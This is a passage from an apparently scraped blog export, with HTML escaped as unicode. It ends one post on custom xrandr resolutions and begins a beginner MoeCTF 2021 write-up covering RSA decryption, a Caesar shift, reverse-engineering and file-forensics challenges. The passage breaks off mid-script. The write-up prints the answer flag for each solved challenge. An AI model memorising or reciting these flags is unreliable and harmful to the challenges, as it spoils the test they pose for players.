variable\"\u003e-q\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e查出来我输出的名字叫 \u003ccode\u003eVGA-1\u003c/code\u003e\u003c/p\u003e\u003cp\u003e接下来执行(后面改成自己的)\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--newmode\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"1920x1080R\"\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--addmode\u003c/span\u003e VGA-1 1920x1080R\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"保存分辨率\"\u003e\u003ca href=\"#保存分辨率\" class=\"headerlink\" title=\"保存分辨率\"\u003e\u003c/a\u003e保存分辨率\u003c/h3\u003e\u003cp\u003e这样修改之后重启就又没有了,所以保存配置\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003e\u003cspan class=\"token function\"\u003esudo\u003c/span\u003e \u003cspan class=\"token function\"\u003evi\u003c/span\u003e /etc/profile\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e在文件 \u003cstrong\u003e末尾\u003c/strong\u003e 加上\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-bash\" data-language=\"bash\"\u003e\u003ccode class=\"language-bash\"\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--newmode\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"1920x1080R\"\u003c/span\u003e \u003cspan class=\"token number\"\u003e138.50\u003c/span\u003e \u003cspan class=\"token number\"\u003e1920\u003c/span\u003e \u003cspan class=\"token number\"\u003e1968\u003c/span\u003e \u003cspan class=\"token number\"\u003e2000\u003c/span\u003e \u003cspan class=\"token number\"\u003e2080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1080\u003c/span\u003e \u003cspan class=\"token number\"\u003e1083\u003c/span\u003e \u003cspan class=\"token number\"\u003e1088\u003c/span\u003e \u003cspan class=\"token number\"\u003e1111\u003c/span\u003e +hsync \u003cspan class=\"token parameter variable\"\u003e-vsync\u003c/span\u003exrandr \u003cspan class=\"token parameter variable\"\u003e--addmode\u003c/span\u003e VGA-1 1920x1080R\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cstrong\u003e保存退出\u003c/strong\u003e\u003c/p\u003e\u003ch3 id=\"来点成品\"\u003e\u003ca href=\"#来点成品\" class=\"headerlink\" title=\"来点成品\"\u003e\u003c/a\u003e来点成品\u003c/h3\u003e\u003cimg src=\"https://i.loli.net/2021/10/09/sCnVyacZrL2oKxl.jpg\" alt=\"psc.jpg\" style=\"zoom:67%;\" /\u003e","url":"https://blog.ksfu.top/posts/b368/"},{"title":"MoeCTF 2021 WriteUp","time":"2021-09-21T12:15:45Z","content":"\u003ch1 id=\"MoeCTF-2021-WriteUp\"\u003e\u003ca href=\"#MoeCTF-2021-WriteUp\" class=\"headerlink\" title=\"MoeCTF 2021 WriteUp\"\u003e\u003c/a\u003eMoeCTF 2021 WriteUp\u003c/h1\u003e\u003cp\u003e\u003cd\u003chr /\u003e\u003ch1 id=\"MoeCTF-2021-WriteUp\"\u003e\u003ca href=\"#MoeCTF-2021-WriteUp\" class=\"headerlink\" title=\"MoeCTF 2021 WriteUp\"\u003e\u003c/a\u003eMoeCTF 2021 WriteUp\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e没想到摸鱼摸到第9了(感谢Hidden了的师傅们(逃\u003c/del\u003e\u003c/p\u003e\u003cp\u003e挺菜的边做边学。\u003c/p\u003e\u003cp\u003e这次主要做了做 \u003ccode\u003eMisc\u003c/code\u003e 和 \u003ccode\u003eWeb\u003c/code\u003e ,其他的就看了看前面几个开了开视野(\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e题目全部在 \u003ccode\u003eWindows 7\u003c/code\u003e 环境下做出\u003c/strong\u003e\u003c/p\u003e\u003ch2 id=\"目录\"\u003e\u003ca href=\"#目录\" class=\"headerlink\" title=\"目录\"\u003e\u003c/a\u003e目录\u003c/h2\u003e\u003ch3 id=\"Crypto(4-x2F-14)\"\u003e\u003ca href=\"#Crypto(4-x2F-14)\" class=\"headerlink\" title=\"Crypto(4\u0026#x2F;14)\"\u003e\u003c/a\u003eCrypto(4\u0026#x2F;14)\u003c/h3\u003e\u003col\u003e\u003cli\u003eCryptography入门指北(略)\u003c/li\u003e\u003cli\u003ebeginOfCrypto\u003c/li\u003e\u003cli\u003eBabyMultiple\u003c/li\u003e\u003cli\u003eLazyRSA\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Reverse(2-x2F-14)\"\u003e\u003ca href=\"#Reverse(2-x2F-14)\" class=\"headerlink\" title=\"Reverse(2\u0026#x2F;14)\"\u003e\u003c/a\u003eReverse(2\u0026#x2F;14)\u003c/h3\u003e\u003col\u003e\u003cli\u003e逆向工程入门指北(略)\u003c/li\u003e\u003cli\u003ewelcome_to_the_world_of_re\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Classical-Cryptography(1-x2F-6)\"\u003e\u003ca href=\"#Classical-Cryptography(1-x2F-6)\" class=\"headerlink\" title=\"Classical Cryptography(1\u0026#x2F;6)\"\u003e\u003c/a\u003eClassical Cryptography(1\u0026#x2F;6)\u003c/h3\u003e\u003col\u003e\u003cli\u003eAugustine’s Way\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Bonus-0-x2F-1\"\u003e\u003ca href=\"#Bonus-0-x2F-1\" class=\"headerlink\" title=\"Bonus(0\u0026#x2F;1)\"\u003e\u003c/a\u003eBonus(0\u0026#x2F;1)\u003c/h3\u003e\u003ch3 id=\"MISC-12-x2F-12)之前是13个来着\"\u003e\u003ca href=\"#MISC-12-x2F-12)之前是13个来着\" class=\"headerlink\" title=\"MISC(12\u0026#x2F;12)之前是13个来着\"\u003e\u003c/a\u003eMISC(12\u0026#x2F;12)\u003cdel\u003e之前是13个来着\u003c/del\u003e\u003c/h3\u003e\u003col\u003e\u003cli\u003eMisc入门指北(略)\u003c/li\u003e\u003cli\u003efind_me\u003c/li\u003e\u003cli\u003eMacross\u003c/li\u003e\u003cli\u003eHomework\u003c/li\u003e\u003cli\u003eflipflipflip\u003c/li\u003e\u003cli\u003eWhite Album\u003c/li\u003e\u003cli\u003ePhone Call\u003c/li\u003e\u003cli\u003e社工题\u003c/li\u003e\u003cli\u003e好 康 的\u003c/li\u003e\u003cli\u003eeasyForensics\u003c/li\u003e\u003cli\u003eR P G\u003c/li\u003e\u003cli\u003e诺亚的日记\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Pwn(3-x2F-11)\"\u003e\u003ca href=\"#Pwn(3-x2F-11)\" class=\"headerlink\" title=\"Pwn(3\u0026#x2F;11)\"\u003e\u003c/a\u003ePwn(3\u0026#x2F;11)\u003c/h3\u003e\u003col\u003e\u003cli\u003ePwn入门指北(略)\u003c/li\u003e\u003cli\u003etest_your_nc\u003c/li\u003e\u003cli\u003eInt_overflow\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"Web(9-x2F-14)\"\u003e\u003ca href=\"#Web(9-x2F-14)\" class=\"headerlink\" title=\"Web(9\u0026#x2F;14)\"\u003e\u003c/a\u003eWeb(9\u0026#x2F;14)\u003c/h3\u003e\u003col\u003e\u003cli\u003eWeb入门指北(略)\u003c/li\u003e\u003cli\u003eWeb安全入门指北—GET\u003c/li\u003e\u003cli\u003eWeb安全入门指北—小饼干\u003c/li\u003e\u003cli\u003e2048\u003c/li\u003e\u003cli\u003eWeb_Inc\u003c/li\u003e\u003cli\u003eezinclude\u003c/li\u003e\u003cli\u003ebabeRCE\u003c/li\u003e\u003cli\u003eDo you know HTTP?\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"问卷题-1-x2F-2\"\u003e\u003ca href=\"#问卷题-1-x2F-2\" class=\"headerlink\" title=\"问卷题(1\u0026#x2F;2)\"\u003e\u003c/a\u003e问卷题(1\u0026#x2F;2)\u003c/h3\u003e\u003col\u003e\u003cli\u003e信息统计(略)\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Crypto\"\u003e\u003ca href=\"#Crypto\" class=\"headerlink\" title=\"Crypto\"\u003e\u003c/a\u003eCrypto\u003c/h2\u003e\u003cblockquote\u003e\u003cp\u003ePython 真是绝绝子!\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"02-beginOfCrypto\"\u003e\u003ca href=\"#02-beginOfCrypto\" class=\"headerlink\" title=\"02 beginOfCrypto\"\u003e\u003c/a\u003e02 beginOfCrypto\u003c/h3\u003e\u003cp\u003e打开下载的文件发现下面有申必的数字,然后再看上面有 \u003ccode\u003eflag = xxx\u003c/code\u003e , 再看一眼代码,应该是把字符通过申必的方法转换成申必的数字,然后先赋值 \u003ccode\u003eflag = \u0026quot;moectf\u0026quot;\u003c/code\u003e 发现和前面几个数字对上了,然后用只能人工方法将26个字母和几个符号带进去都看了一遍值,找到了flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{c0me_on!begin_your_Crypt0_c4r33r}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-BabyMultiple\"\u003e\u003ca href=\"#03-BabyMultiple\" class=\"headerlink\" title=\"03 BabyMultiple\"\u003e\u003c/a\u003e03 BabyMultiple\u003c/h3\u003e\u003cp\u003e和上一题一样,带进去不同字符经过处理变成其他申必字符,然后利用智能人工全部带了一遍,得到flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{y0u_4r3_gr34t_47_Mu17ic4ti0n}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e### 04 LazyRSA\u003cp\u003e去网上大概查了一下原理,然后对着教程里的代码改了一下\u003c/p\u003e\u003cp\u003e读的博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/hiwuchong/p/9069392.html\"\u003ehttps://www.cnblogs.com/hiwuchong/p/9069392.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/carroll_/article/details/79975226\"\u003ehttps://blog.csdn.net/carroll_/article/details/79975226\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Ahuuua/article/details/108830834\"\u003ehttps://blog.csdn.net/Ahuuua/article/details/108830834\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_41818069/article/details/106532665\"\u003ehttps://blog.csdn.net/weixin_41818069/article/details/106532665\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/Higgerw/p/14289041.html\"\u003ehttps://www.cnblogs.com/Higgerw/p/14289041.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html\"\u003ehttp://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/qq_41429081/article/details/103403957\"\u003ehttps://blog.csdn.net/qq_41429081/article/details/103403957\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/tinyzhao/article/details/52681634\"\u003ehttps://blog.csdn.net/tinyzhao/article/details/52681634\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003efrom\u003c/span\u003e Crypto\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eUtil\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003enumber \u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e gmpy2\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e binasciip \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的p\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003eq \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的q\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ec \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e题目里的c\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e n \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e p\u003cspan class=\"token operator\"\u003e*\u003c/span\u003eqe \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x10001\u003c/span\u003ed \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e gmpy2\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einvert\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ee\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ep\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eq\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003em \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003epow\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ec\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003ed\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003en\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e# c = pow(m,e,n)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003ehex\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebinascii\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eunhexlify\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003ehex\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003em\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003estrip\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"L\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{w0w_yOU_Know_h0w_70_d3crypt_th3_RSA}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Reverse\"\u003e\u003ca href=\"#Reverse\" class=\"headerlink\" title=\"Reverse\"\u003e\u003c/a\u003eReverse\u003c/h2\u003e\u003ch3 id=\"02-welcome-to-the-world-of-re\"\u003e\u003ca href=\"#02-welcome-to-the-world-of-re\" class=\"headerlink\" title=\"02 welcome_to_the_world_of_re\"\u003e\u003c/a\u003e02 welcome_to_the_world_of_re\u003c/h3\u003e\u003cp\u003e\u003cdel\u003e之前找简单软件注册码的法子\u003c/del\u003e\u003c/p\u003e\u003cp\u003e直接拖进 \u003ccode\u003eOD\u003c/code\u003e 能找到,拖进文本也行(\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/RwJMH68qB2hKjIE.png\" alt=\"re1.PNG\" style=\"zoom:80%;\" /\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/ZL6sevtD1lGIrzk.png\" alt=\"re2\" style=\"zoom:80%;\" /\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{W31C0Me_t0_m03CTF_2021_w0o0o0oooo0ooooo0o0oooo0!!!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Classical-Cryptography\"\u003e\u003ca href=\"#Classical-Cryptography\" class=\"headerlink\" title=\"Classical Cryptography\"\u003e\u003c/a\u003eClassical Cryptography\u003c/h2\u003e\u003cp\u003e\u003cdel\u003e看的时候离结束还有半天了,就看了第一个\u003c/del\u003e\u003c/p\u003e\u003ch3 id=\"01-Classical-Cryptography\"\u003e\u003ca href=\"#01-Classical-Cryptography\" class=\"headerlink\" title=\"01 Classical Cryptography\"\u003e\u003c/a\u003e01 Classical Cryptography\u003c/h3\u003e\u003cp\u003e前几个和 \u003ccode\u003emoectf\u003c/code\u003e 对比了一下发现是每个字母后移了一位\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{e3sy_Au9u1ne!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch2 id=\"Misc\"\u003e\u003ca href=\"#Misc\" class=\"headerlink\" title=\"Misc\"\u003e\u003c/a\u003eMisc\u003c/h2\u003e\u003ch3 id=\"02-find-me\"\u003e\u003ca href=\"#02-find-me\" class=\"headerlink\" title=\"02 find_me\"\u003e\u003c/a\u003e02 find_me\u003c/h3\u003e\u003cp\u003e拖进 \u003ccode\u003e010 Editor\u003c/code\u003e\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{hs_g1v3_u_fl@g}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"03-Macross\"\u003e\u003ca href=\"#03-Macross\" class=\"headerlink\" title=\"03 Macross\"\u003e\u003c/a\u003e03 Macross\u003c/h3\u003e\u003cp\u003e百度搜了半天不晓得这是啥,然后上 Google 搜出来是个记录鼠标移动的软件\u003cdel\u003e(Google真是绝绝子)\u003c/del\u003e,下载安装,然后打开 Windows 图画,运行文件,得到名画\u003c/p\u003e\u003cimg src=\"https://i.loli.net/2021/09/21/BNxQez71C68ObY9.png\" alt=\"Mar\" style=\"zoom:80%;\" /\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{Rec0rder_15_Funny}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"04-Homework\"\u003e\u003ca href=\"#04-Homework\" class=\"headerlink\" title=\"04 Homework\"\u003e\u003c/a\u003e04 Homework\u003c/h3\u003e\u003cp\u003e先看了一遍啥也没找到,然后先全选清除格式发现半个flag,然后用 \u003ccode\u003e7-zip\u003c/code\u003e 解压出来直接看 \u003ccode\u003exml\u003c/code\u003e 里东西了,搜 \u003ccode\u003e\u0026#125;\u003c/code\u003e,找到后一半,当然在 Word 里搜 \u003ccode\u003e\u0026#123;\u003c/code\u003e 发现是个文本框,拿到后半段flag\u003c/p\u003e\u003cdetails\u003e\u003csummary\u003eFlag\u003c/summary\u003e\u003cp\u003e\u003cb\u003emoectf{0h_U_f1nd_m3!}\u003c/b\u003e\u003c/p\u003e\u003c/details\u003e\u003ch3 id=\"05-flipflipflip\"\u003e\u003ca href=\"#05-flipflipflip\" class=\"headerlink\" title=\"05 flipflipflip\"\u003e\u003c/a\u003e05 flipflipflip\u003c/h3\u003e\u003cp\u003e这个题可太折磨人了……\u003c/p\u003e\u003cp\u003e参考博客\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/1go0/p/9977359.html\"\u003ehttps://www.cnblogs.com/1go0/p/9977359.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/mq0036/p/6544055.html\"\u003ehttps://www.cnblogs.com/mq0036/p/6544055.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/csqazwsxedc/article/details/59186769?fps=1\u0026locationNum=2\"\u003ehttps://blog.csdn.net/csqazwsxedc/article/details/59186769?fps=1\u0026amp;locationNum=2\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.it1352.com/904413.html\"\u003ehttps://www.it1352.com/904413.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnpython.com/qa/153478\"\u003ehttps://www.cnpython.com/qa/153478\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/h-zhang/p/10568028.html\"\u003ehttps://www.cnblogs.com/h-zhang/p/10568028.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/zuferj115/p/11547486.html\"\u003ehttps://www.cnblogs.com/zuferj115/p/11547486.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/u010065754/article/details/81710160\"\u003ehttps://blog.csdn.net/u010065754/article/details/81710160\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/erchun/p/11766408.html\"\u003ehttps://www.cnblogs.com/erchun/p/11766408.html\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/Blood_Seeker/article/details/81519426?utm_source=blogxgwz3\"\u003ehttps://blog.csdn.net/Blood_Seeker/article/details/81519426?utm_source=blogxgwz3\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/weixin_43742794/article/details/104210963\"\u003ehttps://blog.csdn.net/weixin_43742794/article/details/104210963\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/qsmyjz/p/11987815.html\"\u003ehttps://www.cnblogs.com/qsmyjz/p/11987815.html\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e我超,100多MB的字符串,刚开始没头绪最后xjb猜是base64,那么大文件得整个脚本,然后网上搜\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-python\" data-language=\"python\"\u003e\u003ccode class=\"language-python\"\u003e\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e base64\u003cspan class=\"token keyword\"\u003eimport\u003c/span\u003e systext \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users(后面文件路径省略了)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eread\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e%\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e text \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"==\"\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token builtin\"\u003elen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e%\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e text \u003cspan class=\"token operator\"\u003e+=\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"=\"\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewith\u003c/span\u003e \u003cspan class=\"token builtin\"\u003eopen\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e'C:\\\\Users\\\\Users(后面文件路径省略了)'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e'wb'\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eas\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e file_object\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003ewrite\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebase64\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eb64decode\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etext\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eprint\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token string\"\u003e\"success\"\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" 